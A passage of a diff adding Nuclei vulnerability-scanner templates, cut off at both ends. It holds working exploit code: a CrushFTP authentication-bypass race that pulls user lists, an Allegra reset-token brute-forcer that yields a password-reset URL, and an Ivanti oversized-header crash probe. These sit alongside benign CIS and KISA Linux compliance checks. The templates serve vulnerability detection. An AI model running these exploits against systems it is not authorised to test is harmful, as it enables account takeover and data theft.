+    zoomeye-query: title:"ivanti connect secure"
+    google-query: intitle:"ivanti connect secure"
+  tags: cve,cve2025,ivanti,intrusive,kev
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+
+code:
+  - engine:
+      - py
+      - python3
+
+    source: |
+      import os
+      import time
+      import requests
+
+      TARGET_PATH = "/dana-na/auth/url_default/welcome.cgi"
+      TIMEOUT = 10
+
+      class IvantiExploit:
+          def __init__(self, host, port):
+              self.host = host.rstrip("/")
+              self.port = port
+
+          def check_vuln(self):
+              host = self.host
+              if not host.startswith("http://") and not host.startswith("https://"):
+                  host = f"https://{host}"
+
+              url = f"{host}:{self.port}{TARGET_PATH}"
+
+              print(f"Testing {url}")
+
+              #1  Pre-check: Check if target is reachable and status is 200.
+              try:
+                  r1 = requests.get(url, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r1 = None
+              if not r1 or r1.status_code != 200:
+                  print("Pre-check failed because target is not reachable or status is not 200.")
+                  return False
+
+              print("Pre-check successful.")
+
+              #2 Payload: Send POST request with X-Forwarded-For header to test the vulnerability.
+
+              payload_header = {"X-Forwarded-For": "1"*2048}
+              try:
+                  r2 = requests.post(url, headers=payload_header, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r2 = None
+              if r2:
+                  print("Payload is not working.")
+                  return False
+              else:
+                  print("Payload is working.")
+              time.sleep(1)
+
+              #3 Follow-up: Check if target is still reachable after payload.
+
+              try:
+                  r3 = requests.get(url, timeout=TIMEOUT, verify=False)
+              except requests.RequestException:
+                  r3 = None
+              if r3.status_code == 200:
+                  print(f"VULNERABLE: {self.host}:{self.port}")
+                  return True
+
+              print("Target seems safe")
+              return False
+
+      if __name__ == "__main__":
+          host = os.getenv("Host")
+          port = os.getenv("Port")
+          IvantiExploit(host, port).check_vuln()
+
+    matchers:
+      - type: word
+        words:
+          - "VULNERABLE:"
+# digest: 4a0a00473045022100cd2e872db92d2f8b8fd16e46f950e8bb554ed6efe5a0f8b7d4491a9e8e6cdc2c02204b4f711198aef8e61c3378c023d7be0131eb7b6b40be33a24aa29d0960e0f693:922c64590222798bb761d5b6d8e72950
@@ -19,8 +19,8 @@ info:
    cvss-score: 9.3
    cve-id: CVE-2025-25291
    cwe-id: CWE-347
-    epss-score: 0.00655
-    epss-percentile: 0.6872
+    epss-score: 0.13868
+    epss-percentile: 0.94062
  metadata:
    verified: true
    vendor: gitlab
@@ -78,4 +78,4 @@ http:
      - type: kval
        kval:
          - _gitlab_session
-# digest: 490a00463044022004b71e49683e8e0fb5555bb3dd0c9f36c4b0804a6cd6e14e8c4c2664f14980df022061a0dd50918227101dcabe92ec86d4c56b40bdc98d8c9ffb396562bfc9e90887:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022025dedaab7f1ebf59275bfd3bfd416f881099ceb139fae440920ccd04a5b0382e022100946ad965f773d3aa726d421ba1496c350b851de9cc18be7877d800290fb3c980:922c64590222798bb761d5b6d8e72950
@@ -20,13 +20,13 @@ info:
    cvss-score: 10
    cve-id: CVE-2025-32433
    cwe-id: CWE-306
-    epss-score: 0.00386
-    epss-percentile: 0.58724
+    epss-score: 0.6781
+    epss-percentile: 0.98529
  metadata:
    verified: true
    max-request: 1
    shodan-query: "Erlang OTP"
-  tags: cve,cve2025,erlang,otp,ssh,rce,oast
+  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev

 variables:
  OAST: "{{interactsh-url}}"
@@ -172,4 +172,4 @@ code:
        dsl:
          - 'contains(interactsh_protocol, "dns")'
        condition: and
-# digest: 4b0a00483046022100b8ef2c0e0e8c218076ba845e8b0334ee9a4bbe5430eb84597a96d40c403073ad022100d73b311fc1bb3404a0aea728f335bbe94e624e7a5e82a8d156f740510d82042c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202c0e1736b21b2b04c9e2bba10105fce2454bf000eafeb60c54440aa6ab8577e2022100dc310090bbdd573095c7bfc7b0ca9cfb7803850569eeb00d26ed930a6de7d09f:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,203 @@
+id: CVE-2025-54309
+
+info:
+  name: CrushFTP - Authentication Bypass Race Condition
+  author: pussycat0x,watchTowr,dhiyaneshdk
+  severity: critical
+  description: |
+    CrushFTP 10 before 10.8.5 and 11 before 11.3.4_23, when the DMZ proxy feature is not used, mishandles AS2 validation and consequently allows remote attackers to obtain admin access via HTTPS, as exploited in the wild in July 2025.
+  impact: |
+    Remote attackers can bypass authentication and access sensitive user data, potentially leading to unauthorized access to the CrushFTP system and exfiltration of user information.
+  remediation: |
+    Update to the latest version of CrushFTP that patches this authentication bypass vulnerability.
+  reference:
+    - https://github.com/watchtowrlabs/watchTowr-vs-CrushFTP-Authentication-Bypass-CVE-2025-54309/blob/main/watchTowr-vs-CrushFTP-CVE-2025-54309.py
+    - https://labs.watchtowr.com/the-one-where-we-just-steal-the-vulnerabilities-crushftp-cve-2025-54309/
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-54309
+    epss-score: 0.38408
+    epss-percentile: 0.97147
+    cwe-id: CWE-287,CWE-362
+    cpe: cpe:2.3:a:crushftp:crushftp:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    vendor: crushftp
+    product: crushftp
+    shodan-query:
+      - http.title:"crushftp"
+      - http.favicon.hash:-1022206565
+    fofa-query:
+      - title="crushftp"
+      - icon_hash="-1022206565"
+    zoomeye-query: title:"crushftp"
+    google-query: intitle:"crushftp"
+  tags: cve,cve2025,crushftp,auth-bypass,race-condition,kev
+
+variables:
+  HOST: "{{Host}}"
+  PORT: "{{Port}}"
+
+code:
+  - engine:
+      - py
+      - python3
+    source: |
+      import requests
+      import threading
+      import time
+      import random
+      import string
+      import re
+      import os
+
+      def generate_random_c2f():
+          """Generate random 4-character c2f value"""
+          return ''.join(random.choices(string.ascii_letters + string.digits, k=4))
+
+      def make_request_with_as2(target_url, c2f_value, cookie):
+          """Make request with AS2-TO header and disposition-notification content type"""
+          url = f"{target_url}/WebInterface/function/"
+
+          headers = {
+              "Host": target_url.replace("http://", "").replace("https://", ""),
+              "User-Agent": "python-requests/2.32.3",
+              "Accept-Encoding": "gzip, deflate",
+              "Accept": "*/*",
+              "Connection": "keep-alive",
+              "AS2-TO": "\\crushadmin",
+              "Content-Type": "disposition-notification",
+              "X-Requested-With": "XMLHttpRequest",
+              "Cookie": cookie
+          }
+
+          data = {
+              "command": "getUserList",
+              "serverGroup": "MainUsers",
+              "c2f": c2f_value
+          }
+
+          try:
+              response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
+              return f"AS2 Request - Status: {response.status_code}", response.text
+          except Exception as e:
+              return f"AS2 Request - Error: {str(e)}", ""
+
+      def make_request_without_as2(target_url, c2f_value, cookie):
+          """Make request without AS2-TO header and disposition-notification content type"""
+          url = f"{target_url}/WebInterface/function/"
+
+          headers = {
+              "Host": target_url.replace("http://", "").replace("https://", ""),
+              "User-Agent": "python-requests/2.32.3",
+              "Accept-Encoding": "gzip, deflate",
+              "Accept": "*/*",
+              "Connection": "keep-alive",
+              "X-Requested-With": "XMLHttpRequest",
+              "Cookie": cookie
+          }
+
+          data = {
+              "command": "getUserList",
+              "serverGroup": "MainUsers",
+              "c2f": c2f_value
+          }
+
+          try:
+              response = requests.post(url, headers=headers, data=data, verify=False, timeout=5)
+              return f"Regular Request - Status: {response.status_code}", response.text
+          except Exception as e:
+              return f"Regular Request - Error: {str(e)}", ""
+
+      def check_vulnerable_response(response_text):
+          """Check if response contains user_list_subitem pattern and extract usernames"""
+          if "<user_list_subitem>" in response_text:
+              usernames = re.findall(r'<user_list_subitem>(.*?)</user_list_subitem>', response_text)
+              if usernames:
+                  top_users = usernames[:10]
+                  print(f"[*] EXFILTRATED {len(top_users)} USERS: {', '.join(top_users)}")
+                  return True
+          return False
+
+      def race_requests_with_detection(target_url, num_requests=100):
+          """Race multiple requests and detect vulnerability"""
+          print(f"Starting race with {num_requests} request pairs...")
+
+          for i in range(num_requests):
+              # Generate new c2f every 50 requests
+              if i % 50 == 0:
+                  c2f_value = generate_random_c2f()
+                  cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
+                  print(f"[*] NEW SESSION: c2f={c2f_value}")
+              else:
+                  c2f_value = generate_random_c2f()
+                  cookie = f"CrushAuth=1755657772315_Nr7FSH4jd2l6RueteEaaEDpY1CcdU{c2f_value}; currentAuth={c2f_value}"
+
+              # Store results
+              results = {'as2': None, 'regular': None}
+
+              def as2_worker():
+                  results['as2'] = make_request_with_as2(target_url, c2f_value, cookie)
+
+              def regular_worker():
+                  results['regular'] = make_request_without_as2(target_url, c2f_value, cookie)
+
+              # Create and start threads
+              t1 = threading.Thread(target=as2_worker)
+              t2 = threading.Thread(target=regular_worker)
+
+              # Start both threads simultaneously
+              t1.start()
+              t2.start()
+
+              # Wait for both to complete
+              t1.join()
+              t2.join()
+
+              # Check for vulnerability in both responses
+              as2_status, as2_response = results['as2']
+              regular_status, regular_response = results['regular']
+
+              # Check if either response contains the user list pattern
+              if check_vulnerable_response(as2_response) or check_vulnerable_response(regular_response):
+                  print(f"VULNERABLE: {target_url}")
+                  return True
+
+              # Print progress every 25 requests
+              if (i + 1) % 25 == 0:
+                  print(f"[*] PROGRESS: {i + 1}/{num_requests} request pairs completed...")
+
+          return False
+
+      if __name__ == "__main__":
+          host = os.getenv("Host")
+          port = os.getenv("Port")
+
+          if not host:
+              print("Host environment variable not set")
+              exit(1)
+
+          # Construct target URL
+          if not host.startswith(('http://', 'https://')):
+              target_url = f"http://{host}"
+              if port and port != "80":
+                  target_url = f"http://{host}:{port}"
+          else:
+              target_url = host
+              if port and port != "80" and port not in host:
+                  target_url = f"{host}:{port}"
+
+          print(f"[*] Testing target: {target_url}")
+
+          # Try 100 requests with race condition detection
+          if race_requests_with_detection(target_url, 100):
+              print("VULNERABLE: Race condition vulnerability detected!")
+          else:
+              print("Target appears to be patched or timing window missed")
+
+    matchers:
+      - type: word
+        words:
+          - "VULNERABLE:"
+# digest: 490a0046304402205b0dfb62d11dab3d77d04b1e37e892d0c735201d14c0cb0648eaf7d3d40135980220683d9b87c92553503a73c539fb3540c41bacfd0727e40296e48c926bc81ac76d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,118 @@
+id: CVE-2025-6216
+
+info:
+  name: Allegra - Authentication Bypass via Predictable Password Reset Token
+  author: iamnoooob,pdresearch
+  severity: critical
+  description: |
+    Allegra calculateTokenExpDate Password Recovery Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of Allegra. Authentication is not required to exploit this vulnerability. The specific flaw exists within the password recovery mechanism. The issue results from reliance upon a predictable value when generating a password reset token. An attacker can leverage this vulnerability to bypass authentication on the application.
+  impact: |
+    An attacker can exploit this vulnerability to bypass authentication and gain unauthorized access to the application, potentially compromising sensitive data and system integrity.
+  remediation: |
+    Upgrade Allegra to version 8.1.4 or 7.5.2 or later to fix the predictable password reset token vulnerability.
+  reference:
+    - https://www.zerodayinitiative.com/advisories/ZDI-25-410/
+    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
+  classification:
+    epss-score: 0.16633
+    epss-percentile: 0.94672
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-6216
+    cwe-id: CWE-640
+    cpe: cpe:2.3:a:alltena:allegra:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: alltena
+    product: allegra
+    shodan-query: http.favicon.hash:"284403119"
+    fofa-query: icon_hash="284403119"
+  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
+
+variables:
+  email: "[email protected]"  # Change to a test account
+
+flow: http(1) && code()
+
+http:
+  - raw:
+      - |
+        POST /resetPassword.action HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        email={{email}}&fromAjax=true&_dc=1750669432104&perspectiveType=&appActionID=
+
+    extractors:
+      - type: regex
+        name: date_header
+        part: header
+        internal: true
+        group: 1
+        regex:
+          - "Date: (.*)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "emailSent"
+          - '"success":true'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+code:
+  - engine:
+      - py
+      - python3 # requires python to be pre-installed on system running nuclei
+
+    source: |
+            import requests
+            import hashlib,os
+            import time
+            from datetime import datetime, timezone
+            from email.utils import parsedate_to_datetime
+
+            def get_server_time(response):
+                date_header = response.headers.get('Date')
+                if date_header:
+                    return parsedate_to_datetime(date_header)
+                return None
+
+            def main():
+                BASE_URL = os.getenv("BaseURL")
+                EMAIL = os.getenv("email")
+                date_header = os.getenv("date_header")
+                server_time = parsedate_to_datetime(date_header)
+                if not server_time:
+                    return
+                server_time_ms = int(server_time.timestamp() * 1000)
+                expiry_time_ms = server_time_ms + 28800000
+                base_expiry_sec = (expiry_time_ms // 1000) * 1000
+                for ms in range(1000):
+                    candidate_expiry_ms = base_expiry_sec + ms
+                    token = hashlib.sha256(str(candidate_expiry_ms).encode()).hexdigest()
+                    test_url = f"{BASE_URL}/resetPassword!confirm.action?ctk={token}"
+                    r = requests.get(test_url, allow_redirects=False)
+                    if 'com.trackplus.app.logon.ResetPasswordApplication' in r.text:
+                        print(test_url)
+                        return
+
+            if __name__ == "__main__":
+                main()
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(code_response, "/resetPassword!confirm.action?ctk=")
+
+    extractors:
+      - type: dsl  # type of the extractor
+        dsl:
+          - '"Reset URL: " + code_response'
+# digest: 4a0a004730450220712c79e80a0855131981f984d6b7ff7fe0528653c142dda494b13bb2d8199f37022100e1e66897866603dd86ad9ea8b6953ef1c68842b22183e6a7c08f0e06cdc6ed5c:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,45 @@
+id: autofs-service
+
+info:
+  name: Ensure autofs Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The autofs package provides the automounting service, which mounts file systems automatically on demand. If not explicitly required, having this service installed increases the system’s attack surface and should be avoided.
+  remediation: |
+    - Ensure the `autofs` package is not installed unless explicitly required.
+    - To disable the service if present, run: sudo systemctl disable --now autofs 2>/dev/null || true
+    - To remove the package, run: sudo apt-get purge -y autofs
+    - To clean up dependencies, run: sudo apt-get autoremove -y
+    - To verify removal, run: dpkg-query -s autofs || echo "autofs not installed"
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s autofs &>/dev/null; then
+          echo "[autofs-service-check:Policy-Fail] [autofs is installed] [CIS_FAIL]"
+        else
+          echo "[autofs-service-check:Policy-Pass] [autofs is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a00483046022100beae631943cebc47c019a26e3e75c3564f7fa4fe70eb0de578f3fce62a6d00aa022100aa285d67fd177fa37e5274957926becc643b3aeec8e446f8dab8ccc4c704597b:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
+id: avahi-daemon
+
+info:
+  name: Ensure Avahi Daemon Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The avahi-daemon package provides mDNS/DNS-SD service discovery on local networks.In secure environments, it should only be installed when explicitly required, as it may expose unnecessary services.
+  remediation: |
+    - Ensure the `avahi-daemon` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove avahi-daemon -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s avahi-daemon &>/dev/null; then
+          echo "[avahi-daemon-check:Policy-Fail] [avahi-daemon is installed] [CIS_FAIL]"
+        else
+          echo "[avahi-daemon-check:Policy-Pass] [avahi-daemon is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a0047304502203ff7e050b9bdb5b5fb471fb8a5b0af788c76666c2ff5a8c03f54236319f62275022100c547a08d5e0daa645f49e890a0b5e539b305aade4c704a67982c17528825a3c8:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
+id: dhcp-server
+
+info:
+  name: Ensure DHCP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The isc-dhcp-server package provides DHCP services for automatic IP address assignment.Running a DHCP server on non-designated systems may introduce security risks and unwanted network behavior.
+  remediation: |
+    - Ensure the isc-dhcp-server package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove isc-dhcp-server -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s isc-dhcp-server &>/dev/null; then
+          echo "[dhcp-server-check:Policy-Fail] [isc-dhcp-server is installed] [CIS_FAIL]"
+        else
+          echo "[dhcp-server-check:Policy-Pass] [isc-dhcp-server is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a00483046022100e0295197c3dcb64ab0634b8089f939fb2a5b2af806979a375d674edb894b98e3022100d11947e58b029bf89610149ae753d86184d599fbb164f504eb9ee2e914033f73:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
+id: dns-server
+
+info:
+  name: Ensure DNS Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The bind9 package provides a DNS server for name resolution services.Running a DNS server on systems not designated for that purpose may expose them to unnecessary risks.
+  remediation: |
+    - Ensure the `bind9` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove bind9 -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s bind9 &>/dev/null; then
+          echo "[dns-server-check:Policy-Fail] [bind9 is installed] [CIS_FAIL]"
+        else
+          echo "[dns-server-check:Policy-Pass] [bind9 is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a00473045022079762241d32803af268579ee2dbc0f109db253b5709ae57a79216a73d7c16fd10221009978493f411a9e4b7a4a019d640a19e03c4cf7380d39000f10276f9367c3674d:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,26 @@
+id: dns-zone-transfer-any
+
+info:
+  name: DNS Zone Transfer Allowed to Any Host
+  author: songyaeji
+  severity: high
+  description: |
+    DNS Zone Transfer configured with "allow-transfer { any; };" allowed unrestricted zone transfers.This exposed sensitive details like hostnames, network structure, and system data that attackers could use for reconnaissance and further attacks.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,kisa,audit,compliance
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    source: |
+      grep -E 'allow-transfer' /etc/named.conf 2>/dev/null || echo "no-allow-transfer"
+
+    matchers:
+      - type: regex
+        part: code_1_response
+        regex:
+          - 'allow-transfer\s*\{\s*any;\s*\}'
+# digest: 490a00463044022037476af6ea98c17d43d75d3cb57874705aeba154fd8e7ef8859748eafab0ebf702200a0d472b83fe677c4c703d4b82307a6c8b65f57418c549a3ad46b6cc13547206:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
+id: dnsmasq-service
+
+info:
+  name: Ensure dnsmasq Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The dnsmasq package provides lightweight DNS, DHCP, and TFTP services. If not explicitly required, its presence may expose unnecessary services and increase security risks.
+  remediation: |
+    - Ensure the `dnsmasq` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove dnsmasq -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s dnsmasq &>/dev/null; then
+          echo "[dnsmasq-service-check:Policy-Fail] [dnsmasq is installed] [CIS_FAIL]"
+        else
+          echo "[dnsmasq-service-check:Policy-Pass] [dnsmasq is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4a0a0047304502210096d5ee4d88f2bcf276e1d30f7d440f27c00ed4a5afca848de514d11a3d2d7fc80220742d89f57a4da6922d14a351db1f31477f7fb513d0627d35d7b0fcdb28f69e5b:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,27 @@
+id: etc-services-permission-check
+
+info:
+  name: /etc/services Permission Check
+  author: songyaeji
+  severity: high
+  description: |
+    The /etc/services file was not owned by root or had excessive permissions,allowing attackers to alter port assignments to redirect services or open unauthorized ports.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,code,audit,compliance,local
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      stat -c "%U %G %a" /etc/services 2>/dev/null || echo "not-found"
+
+    matchers:
+      - type: regex
+        part: response
+        regex:
+          - '^root\s+root\s+(600|640|644)$'
+# digest: 490a0046304402206191a33140f6b945e840ee4d9ffc8ab2021e2fb4da77355e420c2ae192895e160220129ec14176286e2173c8832a4de3c139824553af5b3b2b0f641be80a15384865:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,40 @@
+id: finger-service-enabled
+
+info:
+  name: Linux Finger Should Be Disabled
+  author: songyaeji
+  severity: high
+  description: |
+    The Finger service was enabled on the system and exposed user account details to unauthorized users, which could have been used in password-based attacks or user enumeration.It was checked in both xinetd and systemd environments.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,code,audit,compliance,kisas
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      if [ -f /etc/xinetd.d/finger ]; then
+        disable_status=$(grep -i 'disable' /etc/xinetd.d/finger | grep -v '^#' | awk -F '=' '{print $2}' | xargs)
+        if [ "$disable_status" = "no" ]; then
+          echo "[VULNERABLE] Finger service is enabled via xinetd (disable = no)"
+        elif [ -z "$disable_status" ]; then
+          echo "[UNKNOWN] Finger service config found but no disable directive"
+        else
+          echo "[SAFE] Finger service is disabled in xinetd"
+        fi
+      elif systemctl is-active --quiet finger 2>/dev/null; then
+        echo "[VULNERABLE] Finger service is active under systemd"
+      else
+        echo "[SAFE] Finger service not found"
+      fi
+
+    matchers:
+      - type: word
+        part: response
+        words:
+          - "[VULNERABLE]"
+# digest: 4b0a00483046022100fd961710afcaa51c59ad26cd14dac20be07b92c68df9117ecfd3378b7a38a947022100824452bade1c3d45e18321b7ab0e61b3bd6cad55e57ae2180a8c5df4618d7ea5:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
+id: ftp-client
+
+info:
+  name: Ensure FTP Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    FTP clients such as ftp and tnftp use an unencrypted protocol that exposes sensitive data during transmission.These packages should only be installed when explicitly required, as their presence increases security risk.
+  remediation: |
+    - Ensure FTP client packages are not installed unless explicitly required.
+    - To remove them, run: sudo apt-get remove ftp tnftp -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,ftp
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+
+    args:
+      - "-c"
+      - |
+        # Check if ftp or tnftp packages are installed
+        if dpkg-query -W -f='${Package} ${Status}\n' ftp tnftp 2>/dev/null | grep -q "install ok installed"; then
+          echo "[cis-ftp-client-check:Policy-Fail] [FTP client is installed] [CIS_FAIL]"
+        else
+          echo "[cis-ftp-client-check:Policy-Pass] [FTP client is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a004830460221009931d0824469b0f912ad65271a547776751ee25732f5edeb3dd030970429e5c20221009aa1b4785a01f1ea0ff8c06364a0875b2e56255115f6e001ca5e8c1e38f51faf:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
+id: ftp-server
+
+info:
+  name: Ensure FTP Server Service is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
+    The vsftpd package provides an FTP server for file transfer services.Since FTP is unencrypted and insecure, it should only be installed when explicitly required.
+  remediation: |
+    - Ensure the `vsftpd` package is not installed unless explicitly required.
+    - To remove the package, run: sudo apt-get remove vsftpd -y
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        if dpkg-query -s vsftpd &>/dev/null; then
+          echo "[ftp-server-check:Policy-Fail] [vsftpd is installed] [CIS_FAIL]"
+        else
+          echo "[ftp-server-check:Policy-Pass] [vsftpd is not installed] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a00483046022100c7ff63a06f5cf7394699255c1d518450d6d10317334a8f9081e4ac9dddaee5cf022100ab8764795bc72e40aceaedce98a29e587514c46693d1d06ab62a619416179bed:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,40 @@
+id: home-env-permission
+
+info:
+  name: User Home Directory and Shell Environment File Ownership & Permission
+  author: songyaeji
+  severity: medium
+  description: |
+    Shell startup and environment files (e.g., .bashrc, .bash_profile, .bash_logout) were not owned by the user or root and had insecure write permissions.Malicious users could manipulate environment variables or inject commands.
+  reference:
+    - https://isms.kisa.or.kr
+  tags: linux,local,audit,compliance,kisa
+
+self-contained: true
+
+code:
+  - engine:
+      - sh
+      - bash
+    source: |
+      for user in $(awk -F: '$6 ~ /^\/home/ {print $1}' /etc/passwd); do
+        HOME_DIR=$(eval echo ~$user)
+        find "$HOME_DIR" -maxdepth 1 -type f \
+          \( -name ".bashrc" -o -name ".bash_profile" -o -name ".bash_logout" \) \
+          -exec ls -l {} \; | awk -v usr="$user" '{print $0, "EXPECTED_USER="usr}'
+      done
+
+    matchers:
+      - type: regex
+        name: insecure-perms
+        part: response
+        regex:
+          - "^-.{5}w"   # group writable
+          - "^-.{8}w"   # other/world writable
+
+      - type: regex
+        name: invalid-owner
+        part: response
+        regex:
+          - "^\\S+\\s+\\S+\\s+(?!root|.*EXPECTED_USER=)"
+# digest: 490a0046304402200d1c1eb3e56074bf3daf7445e93706d95501decf32ee59f9d155f9d07f56d988022070e34135003e30cdd8a2aea1d25fef4df3cb8b9e354d0511a38a1dace28b16b0:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,42 @@
+id: inactive-password-lock-default
+
+info:
+  name: Ensure Inactive Password Lock is Configured (Default Setting)
+  author: Th3l0newolf
+  severity: high
+  description: |
+    This policy ensures the default user inactivity lock is configured properly.User accounts that remain inactive for more than 45 days after password expiration should be disabled.
+  remediation: |
+    Ensure the default INACTIVE parameter is set to 45 days for new accounts.To configure, run: sudo useradd -D -f 45
+  reference:
+    - https://www.cisecurity.org/benchmark/ubuntu_linux
+  metadata:
+    verified: true
+  tags: cis,local,cisecurity,audit,linux,ubuntu,password
+
+self-contained: true
+
+code:
+  - engine:
+      - bash
+    args:
+      - "-c"
+      - |
+        INACTIVE_DAYS=$(useradd -D | grep -i INACTIVE | awk -F= '{print $2}')
+        if [ -z "$INACTIVE_DAYS" ] || [ "$INACTIVE_DAYS" -gt 45 ]; then
+          echo "[inactive-password-lock-default-check:Policy-Fail] [INACTIVE=$INACTIVE_DAYS (invalid)] [CIS_FAIL]"
+        else
+          echo "[inactive-password-lock-default-check:Policy-Pass] [INACTIVE=$INACTIVE_DAYS (valid)] [CIS_PASS]"
+        fi
+
+    matchers:
+      - type: word
+        name: policy-pass
+        words:
+          - "Policy-Pass"
+
+      - type: word
+        name: policy-fail
+        words:
+          - "Policy-Fail"
+# digest: 4b0a00483046022100f3e5e3bb36176a8550312176a50c0d7938dd4f2f85ef28d7d5e7c24be37656d1022100cde95da0edd31265b7ef7145e309d7e5768146ab14079dd84f6d75e9b111041e:922c64590222798bb761d5b6d8e72950
@@ -0,0 +1,44 @@
+id: ldap-client
+
+info:
+  name: Ensure LDAP Client is Not Installed
+  author: Th3l0newolf
+  severity: info
+  description: |
